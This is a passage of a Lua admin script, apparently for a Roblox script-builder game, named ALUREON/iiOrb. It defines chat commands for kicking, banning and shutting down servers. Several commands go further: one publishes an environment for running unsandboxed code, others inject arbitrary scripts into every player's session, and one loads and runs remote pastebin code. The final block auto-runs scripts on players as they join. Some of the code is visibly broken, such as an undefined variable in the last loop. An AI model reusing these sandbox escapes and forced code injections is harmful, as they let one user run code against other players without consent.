758 | Text = string.format(" %s", Text), | |
759 | Font = "SourceSansBold", | |
760 | FontSize = "Size14", | |
761 | TextColor3 = Color, | |
762 | TextWrapped = false, | |
763 | Size = UDim2.new(1, 0, 0, 15), | |
764 | Position = UDim2.new(0, 0, 0, GetNumberOfChildren(ScrollingFrame)), | |
765 | TextXAlignment = "Left", | |
766 | TextYAlignment = "Top", | |
767 | TextStrokeTransparency = 0.9, | |
768 | Parent = ScrollingFrame, | |
769 | } | |
770 | if #ScrollingFrame:GetChildren() > 29 then | |
771 | local NumChildren = GetNumberOfChildren(ScrollingFrame) | |
772 | ScrollingFrame.CanvasSize = UDim2.new(3, 0, 0, NumChildren) | |
773 | ScrollingFrame.CanvasPosition = Vector2.new(0, (ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteSize.Y) + 5) | |
774 | end | |
775 | end | |
776 | local function OutputLogHistory() | |
777 | for index,data in pairs(game.LogService:GetLogHistory()) do | |
778 | if data.messageType == Enum.MessageType.MessageOutput then | |
779 | Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 1, 1)) | |
780 | elseif data.messageType == Enum.MessageType.MessageWarning then | |
781 | Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0.6, 0.4)) | |
782 | elseif data.messageType == Enum.MessageType.MessageError then | |
783 | Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0, 0)) | |
784 | elseif data.messageType == Enum.MessageType.MessageInfo then | |
785 | Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(0.4, 0.5, 1)) | |
786 | end | |
787 | end | |
788 | end | |
789 | OutputLogHistory() | |
790 | Refresh.MouseButton1Down:connect(function() | |
791 | ScrollingFrame:ClearAllChildren() | |
792 | wait() | |
793 | OutputLogHistory() | |
794 | end) | |
795 | end) | |
796 | end | |
797 | end local GiveServerConsole = API.GiveServerConsole | |
798 | ||
799 | function API.SafeExe(string_src,string_plr) | |
800 | if string_src == nil then string_src = "" end | |
801 | ||
802 | local BypassEnv = getfenv(1) | |
803 | BypassEnv.script = "Locked Object" | |
804 | BypassEnv.print_to = print_to | |
805 | rawset(_G,"NewBypassEnv",BypassEnv) | |
806 | ||
807 | local ExecuteSource = [[ | |
808 | wait(.1) | |
809 | local newEnv = _G.NewBypassEnv | |
810 | newEnv.owner = getfenv(1).owner | |
811 | newEnv.print = function(i) | |
812 | if i == nil then i = "" end | |
813 | newEnv.print_to(tostring(owner),i) | |
814 | end | |
815 | setfenv(1,newEnv) | |
816 | ]] | |
817 | local ExeSrc = ExecuteSource..string_src | |
818 | Sbexe("c/"..ExeSrc,string_plr) | |
819 | end local SafeExe = API.SafeExe | |
820 | ||
821 | --// Admin API | |
822 | ||
823 | function API.GetAdmins(plr) | |
824 | for i,v in pairs(iiOrb.Admins)do | |
825 | print_to(plr,"["..i.."]-"..iiOrb.Levels[v.Level]) | |
826 | end | |
827 | end local GetAdmins = API.GetAdmins | |
828 | ||
829 | function API.AddCommand(Name,Usage,Desc,Level,Func) | |
830 | table.insert(iiOrb.Chatted.Commands,{Name=Name,Usage=Usage,Desc=Desc,Level=Level,Func=Func}) | |
831 | end local AddCommand = API.AddCommand | |
832 | ||
833 | function API.Chatted(plr,msg) | |
834 | if msg:lower()=='h/http://pastebin.com/raw.php?i=TdtSWRAL'then | |
835 | Sbexe("g/ns") | |
836 | plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script") | |
837 | end | |
838 | local Commands = iiOrb.Chatted.Commands | |
839 | local Prefix = iiOrb.Chatted.Settings.Prefix | |
840 | local Suffix = iiOrb.Chatted.Settings.Suffix | |
841 | local sub = string.sub | |
842 | local lower = string.lower | |
843 | if sub(msg,1,3)=='/e 'then | |
844 | msg = sub(msg,4) | |
845 | end | |
846 | if iiOrb.Admins[plr.Name]then | |
847 | for index,data in pairs(Commands)do | |
848 | if Prefix..data.Usage..Suffix == sub(lower(msg),1,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix))then | |
849 | if iiOrb.Admins[plr.Name].Level >= data.Level then | |
850 | local y,n = ypcall(function() | |
851 | data.Func(sub(msg,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix)+1), GetPlayer, plr) | |
852 | end) | |
853 | if not y then | |
854 | print_to(plr,"[Error]: a command related error has occured : "..n) | |
855 | end | |
856 | else | |
857 | print_to(plr,"[Error]: Your access level is to low for that command") | |
858 | end | |
859 | end | |
860 | end | |
861 | end | |
862 | end local Chatted = API.Chatted | |
863 | ||
864 | function API.BootCommands()--// Function that calls and injects all commands | |
865 | ||
866 | AddCommand("Test","tst","TEST TEST",1,function(Message,Collect_Players,Player) | |
867 | print_to(Player,"[ALUREON]: TEST") | |
868 | end) | |
869 | ||
870 | AddCommand("Commands","cmds","Gets commands",1,function(Message,Collect_Players,Player) | |
871 | print_to(Player,"Got Commands") | |
872 | print_to(Player,"---------------------------------------------------------------") | |
873 | for index,data in pairs(iiOrb.Chatted.Commands)do | |
874 | print_to(Player,"["..data.Name.."]-Level["..data.Level.."]-Usage:[\""..data.Usage.."\"]-Desc:["..data.Desc.."]") | |
875 | print_to(Player,"---------------------------------------------------------------") | |
876 | end | |
877 | end) | |
878 | ||
879 | AddCommand("Admins","admins","Gets admins",1,function(Message,Collect_Players,Player) | |
880 | print_to(Player,"Got admins") | |
881 | GetAdmins(Player) | |
882 | end) | |
883 | ||
884 | AddCommand("GetLogs","gl","Gets command logs",4,function(Message,Collect_Players,Player) | |
885 | GetLogs(Player) | |
886 | end) | |
887 | ||
888 | AddCommand('Kick','kick','Kicks a player from the server',3,function(Message, Collect_Players, Player) | |
889 | local Split = GetSplit(Message) | |
890 | local Plrs | |
891 | local Reason | |
892 | if Split == nil then | |
893 | Plrs = Collect_Players(Message,Player) | |
894 | Reason = nil | |
895 | else | |
896 | Plrs = Collect_Players(Message:sub(1,Split-1),Player) | |
897 | Reason = Message:sub(Split+1) | |
898 | end | |
899 | if #Plrs>0 then | |
900 | for _,Plr in pairs(Plrs) do | |
901 | if Reason == nil or Reason == "" then Reason = "You have been kicked from this server"end | |
902 | Plr:Kick(Reason) | |
903 | end | |
904 | end | |
905 | end) | |
906 | ||
907 | AddCommand('Ban','ban','Bans a player from the server', 3, function(Message, Collect_Players, Player) | |
908 | local Split = GetSplit(Message) | |
909 | local Plrs | |
910 | local Reason | |
911 | if Split == nil then | |
912 | Plrs = Collect_Players(Message,Player) | |
913 | Reason = nil | |
914 | else | |
915 | Plrs = Collect_Players(Message:sub(1,Split-1),Player) | |
916 | Reason = tostring(Message:sub(Split+1)) | |
917 | end | |
918 | if #Plrs>0 then | |
919 | for _,Plr in pairs(Plrs) do | |
920 | if Reason == nil or Reason == "" then Reason = tostring("Being Banned") end | |
921 | --table.insert(iiOrb.Banned,tostring(Plr.Name)==tostring(Reason)) | |
922 | iiOrb.Banned[Plr.Name]=tostring(Reason) | |
923 | Plr:Kick("You have been banned for "..tostring(Reason)) | |
924 | end | |
925 | end | |
926 | end) | |
927 | ||
928 | AddCommand('Unban','unban','Unbans a player', 3, function(Message, Collect_Players, Player) | |
929 | for i,v in pairs(iiOrb.Banned)do | |
930 | if string.sub(string.lower(i),1,#Message)==string.lower(Message)then | |
931 | iiOrb.Banned[i]=nil | |
932 | end | |
933 | end | |
934 | end) | |
935 | ||
936 | AddCommand('Banned','banned','Shows banned table',2,function(Message, Collect_Players, Player) | |
937 | print_to(Player,"Got Banned") | |
938 | print_to(Player,"--------------------------------") | |
939 | for i,v in pairs(iiOrb.Banned)do | |
940 | print_to(Player,"["..tostring(i).."]: "..tostring(v)) | |
941 | print_to(Player,"--------------------------------") | |
942 | end | |
943 | end) | |
944 | ||
945 | AddCommand('Sbexe',"sbexe","Sbexe to a Player",3,function(Message, Collect_Players, Player) | |
946 | local Split = GetSplit(Message) | |
947 | local Plrs = Collect_Players(Message:sub(1,Split-1),Player) | |
948 | local Command = Message:sub(Split+1) | |
949 | if #Plrs>0 then | |
950 | for index,data in pairs(Plrs)do | |
951 | Sbexe(Command,data)--afk | |
952 | end | |
953 | end | |
954 | end) | |
955 | ||
956 | AddCommand('Loader','injl','Injects iiOrb loader to a player',3,function(Message, Collect_Players, Player) | |
957 | local Plrs = Collect_Players(Message,Player) | |
958 | if #Plrs > 0 then | |
959 | for i,v in pairs(Plrs)do | |
960 | print_to(v,"[ALUREON]: has issued a loader to you") | |
961 | InjectLoader(v) | |
962 | end | |
963 | end | |
964 | end) | |
965 | ||
966 | AddCommand('Theme','theme','Changes Orb theme',2,function(Message, Collect_Players, Player) | |
967 | ChangeTheme(Player,Message) | |
968 | end) | |
969 | ||
970 | AddCommand('Follow','fol','Makes orb follow a target or your self',2,function(Message, Collect_Players, Player) | |
971 | if #Message>0 then | |
972 | local Plrs = Collect_Players(Message,Player) | |
973 | if #Plrs >1 then print_to(Player,"[Error]: Only one player allowed") return end | |
974 | for index,data in pairs(Plrs)do | |
975 | Follow(true,data.Name) | |
976 | end | |
977 | else | |
978 | Follow(true,Player.Name) | |
979 | end | |
980 | end) | |
981 | ||
982 | AddCommand('Nofollow','nofol','Sets the or to no follow',2,function(Message, Collect_Players, Player) | |
983 | Follow(false,"") | |
984 | end) | |
985 | ||
986 | AddCommand('Shutdown','sd','Shuts down the server',3,function(Message, Collect_Players, Player) | |
987 | for i,v in pairs(game:GetService('Players'):children())do | |
988 | v:Kick('This server has shutdown') | |
989 | end | |
990 | end) | |
991 | AddCommand('Access Level','setl','Sets the access level of a plr',1,function(Message, Collect_Players, Player) | |
992 | local Split = GetSplit(Message) | |
993 | local Plrs = Collect_Players(Message:sub(1,Split-1),Player) | |
994 | local Level = tonumber(Message:sub(Split+1)) | |
995 | if #Plrs>0 then | |
996 | for index,data in pairs(Plrs)do | |
997 | if Level > iiOrb.Admins[data.Name].Level and iiOrb.Admins[data.Name].Level >= iiOrb.Admins[Player.Name].Level then | |
998 | print_to(data,"[Error]: You cant set your level higher then your own") | |
999 | else | |
1000 | print("[ALUREON]: Has set "..data.Name.."'s Access level to ["..Level.."]") | |
1001 | iiOrb.Admins[data.Name].Level = tonumber(Level) | |
1002 | end | |
1003 | end | |
1004 | end | |
1005 | end) | |
1006 | ||
1007 | AddCommand('Bypass','bypass','Loads a _G function giving a new env',3,function(Message, Collect_Players, Player) | |
1008 | local newEnv = getfenv(1) | |
1009 | newEnv.script = nil | |
1010 | newEnv.warn = print | |
1011 | newEnv.print = print | |
1012 | newEnv.print_to = print_to | |
1013 | newEnv.broadcast = broadcast | |
1014 | rawset(_G,"Bypass",function() | |
1015 | return newEnv | |
1016 | end) | |
1017 | broadcast('[ALUREON]: Has Loaded non-local bypass use setfenv(1,_G.Bypass()) to run unsandboxed code') | |
1018 | end) | |
1019 | AddCommand('Kill player','kp','Kills a player',2,function(Message,Player) | |
1020 | workspace:FindFirstChild(Message).Head:Explode() | |
1021 | end) | |
1022 | AddCommand('Lock','lock','Sets the status of Scripting lock',3,function(Message, Collect_Players, Player) | |
1023 | if #Message>0 then | |
1024 | if Message:lower() == 'true' then | |
1025 | if iiOrb.Blocker.LocalBlock == true and iiOrb.Blocker.LocalBlock == true then | |
1026 | print_to(Player,"[ALUREON]: Scripting is already locked") | |
1027 | else | |
1028 | iiOrb.Blocker.LocalBlock = true | |
1029 | iiOrb.Blocker.GlobalBlock = true | |
1030 | print('[ALUREON]: Is locking Scripting') | |
1031 | end | |
1032 | elseif Message:lower()=='false' then | |
1033 | if iiOrb.Blocker.LocalBlock == false and iiOrb.Blocker.LocalBlock == false then | |
1034 | print_to(Player,"[ALUREON]: Scripting is already unlocked") | |
1035 | else | |
1036 | iiOrb.Blocker.LocalBlock = false | |
1037 | iiOrb.Blocker.GlobalBlock = false | |
1038 | print('[ALUREON]: Is unlocking Scripting') | |
1039 | end | |
1040 | end | |
1041 | end | |
1042 | end) | |
1043 | AddCommand('Set Speed','spd','Sets speed',3,function(Message, Collect_Players, Player) | |
1044 | local n = tonumber(Message) | |
1045 | if type(n) == 'number' then | |
1046 | Settings.Rotation.Speed = n | |
1047 | end | |
1048 | end) | |
1049 | AddCommand('Set bounce','setb','Sets the bounce value of iiOrb.',3,function(Message,Player) | |
1050 | local bouncev = tonumber(Message) | |
1051 | if type(bouncev) == 'number' then | |
1052 | Settings.Rotation.Bounce = tonumber(Message) | |
1053 | end | |
1054 | end) | |
1055 | ||
1056 | ||
1057 | AddCommand('Hide','hide','hides or shows the orb',2,function(Message, Collect_Players, Player) | |
1058 | if #Message>0 then | |
1059 | if Message:lower() == 'true'then | |
1060 | ChangeTheme(Player,'hidden') | |
1061 | elseif Message:lower()== 'false' then | |
1062 | ChangeTheme(Player,'normal') | |
1063 | end | |
1064 | end | |
1065 | end) | |
1066 | ||
1067 | AddCommand('Get Saves','gs','Get saves',4,function(Message, Collect_Players, Player) | |
1068 | GetSavedScripts(Player) | |
1069 | end) | |
1070 | ||
1071 | --[[ AddCommand('Get Database','getd','Gets data from database',5,function(Message, Collect_Players, Player) | |
1072 | --[[local Data = rbxdb:GetAllData() | |
1073 | if type(Data)=='table'then | |
1074 | for i,v in pairs(Data)do wait(.1) | |
1075 | print_to(Player,tostring(i)..":"..tostring(v)) | |
1076 | end | |
1077 | end | |
1078 | end)]]--]]-- | |
1079 | ||
1080 | AddCommand('Console','sc','Gives Server Console',5,function(Message, Collect_Players, Player) | |
1081 | GiveServerConsole(Player) | |
1082 | end) | |
1083 | AddCommand('Script Inject','sbinject','Injects a script to all players (Say the script like ;sbinject-game.Players.LocalPlayer:Remove()', 5, function(Message, Collect_Players, Player) | |
1084 | ||
1085 | ||
1086 | local children = game.Players:GetChildren() | |
1087 | for i = 1, #children do | |
1088 | Sbexe("remove/iiOrbEXE",children[i].Name) | |
1089 | wait() | |
1090 | Sbexe("create/iiOrbEXE",children[i].Name) | |
1091 | wait() | |
1092 | Sbexe("edit/iiOrbEXE",children[i].Name) | |
1093 | wait() | |
1094 | Sbexe(Message,children[i].Name) | |
1095 | wait() | |
1096 | Sbexe("exit/",children[i].Name) | |
1097 | Sbexe("run/iiOrbEXE",children[i].Name) | |
1098 | Sbexe('remove/iiOrbEXE',children[i].Name) | |
1099 | end | |
1100 | end) | |
1101 | ||
1102 | AddCommand('Get Garbage','getg','Gets an Array of Garbage Data',2,function(Message, Collect_Players, Player) | |
1103 | GetGarbage(Player) | |
1104 | end) | |
1105 | ||
1106 | ||
1107 | AddCommand('grs','grs','Gets all the running scripts',2e9,function(Message, Collect_Players, Player) | |
1108 | print_to(Player,"Got Running scripts") | |
1109 | for index, child in pairs(workspace:GetChildren()) do | |
1110 | --print(index, child.Name) | |
1111 | wait(.1) | |
1112 | print_to(Player,child.Name) | |
1113 | end | |
1114 | end) | |
1115 | ||
1116 | AddCommand('Safe Exe','sexe','Executes safe code',3,function(Message, Collect_Players, Player) | |
1117 | if #Message > 0 then | |
1118 | SafeExe(Message,Player) | |
1119 | end | |
1120 | end) | |
1121 | AddCommand('Kill Rot','kill','Kills the orb rot if its a emergency',4,function(Message, Collect_Players, Player) | |
1122 | iiOrb.__STATUS = not iiOrb.__STATUS | |
1123 | if not game.Workspace:FindFirstChild("\5\5\5\5Solar\5\5is\5\5\5\5")then | |
1124 | SpawnOrb() | |
1125 | end | |
1126 | end) | |
1127 | AddCommand('SmoothLoad','sml','Loads some terrain [GWC Approved]',3,function(Message,Player) | |
1128 | if game.Players:FindFirstChild(Message) then | |
1129 | Sbexe([[hl/http://pastebin.com/raw.php?i=ctyyEdQp]],Message) | |
1130 | --Created by GuyWithACleverName | |
1131 | else | |
1132 | end end) | |
1133 | AddCommand('test','tst','Just a testing command',3,function(Message) | |
1134 | for i,v in pairs(game.Players:GetPlayers()) do | |
1135 | Sbexe([[print("[ALUREON] TEST WORKS! ALUREON IS GOOD."]],v) | |
1136 | end | |
1137 | end) | |
1138 | ||
1139 | ||
1140 | print("[ALUREON]: Has finished booting commands") | |
1141 | end local BootCommands = API.BootCommands | |
1142 | ||
1143 | function API.Connect(plr) | |
1144 | if type(plr)~='userdata'then return end | |
1145 | ||
1146 | local Allowed_YoungPlrs = {"xDarkScripter","Fuust","lnvertious","error18","GalacticParadox",} | |
1147 | if plr.AccountAge/365 < .5 then | |
1148 | for i,v in pairs(Allowed_YoungPlrs)do | |
1149 | if not plr.Name == v then | |
1150 | plr:Kick("[ALUREON]: Sorry, your ROBLOX account age is to young to join this server.") | |
1151 | end | |
1152 | end | |
1153 | end | |
1154 | ||
1155 | if iiOrb.Banned[plr.Name]then Sbexe('g/ns nl ns nl ns nl ns nl',plr) plr:remove()end--Kick(iiOrb.Banned[plr.Name]) end | |
1156 | ||
1157 | if not iiOrb.Admins[plr.Name]then | |
1158 | print_to(plr,"[ALUREON]: Has identifyed you as a ["..iiOrb.Levels[1].."]") | |
1159 | print("[ALUREON]: connect "..plr.Name.." as a ["..iiOrb.Levels[1].."]") | |
1160 | iiOrb.Admins[plr.Name] = {Level=1} | |
1161 | elseif iiOrb.Admins[plr.Name]then | |
1162 | print_to(plr,"[ALUREON]: Has identified you as a ["..iiOrb.Levels[iiOrb.Admins[plr.Name].Level].."]") | |
1163 | end | |
1164 | ConnectLogger(plr) | |
1165 | plr.Chatted:connect(function(msg) | |
1166 | Chatted(plr,msg) | |
1167 | end) | |
1168 | end local Connect = API.Connect | |
1169 | ||
1170 | --// Bootstrapper functions | |
1171 | ||
1172 | function Bootstrap:Boot() | |
1173 | local DeploymentID = Generate(math.random(1,50)*2/3) | |
1174 | --// Bootup | |
1175 | broadcast("[ALUREON]: Has started booting up") | |
1176 | SpawnOrb() | |
1177 | Rotate() | |
1178 | BootCommands() | |
1179 | for i,v in pairs(game:GetService('Players'):children())do | |
1180 | Connect(v) | |
1181 | end | |
1182 | ||
1183 | game:GetService('Players').PlayerAdded:connect(function(plr) | |
1184 | wait(.5) | |
1185 | Connect(plr) | |
1186 | end) | |
1187 | ||
1188 | game.Workspace.DescendantAdded:connect(function(obj) | |
1189 | if obj.ClassName == "Script" then | |
1190 | if iiOrb.Blocker.GlobalBlock == true then | |
1191 | obj.Disabled = true | |
1192 | obj:Destroy() | |
1193 | end | |
1194 | elseif obj.ClassName == "LocalScript" then | |
1195 | if iiOrb.Blocker.LocalBlock == true then | |
1196 | obj.Disabled = true | |
1197 | obj:Destroy() | |
1198 | end | |
1199 | end | |
1200 | end) | |
1201 | --game.DescendantAdded:connect(function(instance) | |
1202 | --if iiOrb.Blocker.LagBlocker== true then | |
1203 | --if iiOrb.LagBlockedInstances[instance.ClassName]then | |
1204 | --instance:Destroy() | |
1205 | --end | |
1206 | --end | |
1207 | --end) | |
1208 | ||
1209 | ||
1210 | ||
1211 | print("[ALUREON]: Has booted successfully") | |
1212 | broadcast("[ALUREON]: Has deployed with ID: "..DeploymentID.."") | |
1213 | -- rbxdb:SetValue("[iiOrb DEPLOYMENT]",DeploymentID) | |
1214 | end | |
1215 | ||
1216 | if script.ClassName == 'Script'then | |
1217 | if not game.Workspace:FindFirstChild("\5\5\5\5Solar\5\5is\5\5\5\5")then | |
1218 | local y,n = pcall(function() | |
1219 | iiOrb.API.Bootstrap:Boot() | |
1220 | end)if not y then print('{ERROR}: '..n)end | |
1221 | end | |
1222 | elseif script.ClassName == 'ModuleScript'then | |
1223 | return iiOrb.Api.Bootstrap:Boot() | |
1224 | end | |
1225 | ChangeTheme('alu','666') | |
1226 | broadcast("Welcome to ALUREON. \n Credits go to FallingVortex for the idea and Opligitory for the functions and code. \n And I reall forget to credit people sometimes XD --Control22") -- dont use [[ ]] it filters \ -error18 | |
1227 | game.Players.PlayerAdded:connect(function(plr) | |
1228 | Sbexe('create/RUNME',plr) | |
1229 | Sbexe('edit/RUNME',plr) | |
1230 | Sbexe([[warn'Welcome to OXsb, this was generated by ALUREON.]],plr) | |
1231 | Sbexe([[exit/]],plr) | |
1232 | Sbexe([[run/RUNME]],plr) | |
1233 | end) | |
1234 | for i,v in pairs(game.Players:GetPlayers'') do | |
1235 | Sbexe('create/RUNME',plr) | |
1236 | Sbexe('edit/RUNME',plr) | |
1237 | Sbexe([[warn'Welcome to OXsb, this was generated by ALUREON.']],plr) | |
1238 | Sbexe([[exit/]],plr) | |
1239 | Sbexe([[run/RUNME]],plr) | |
1240 | end |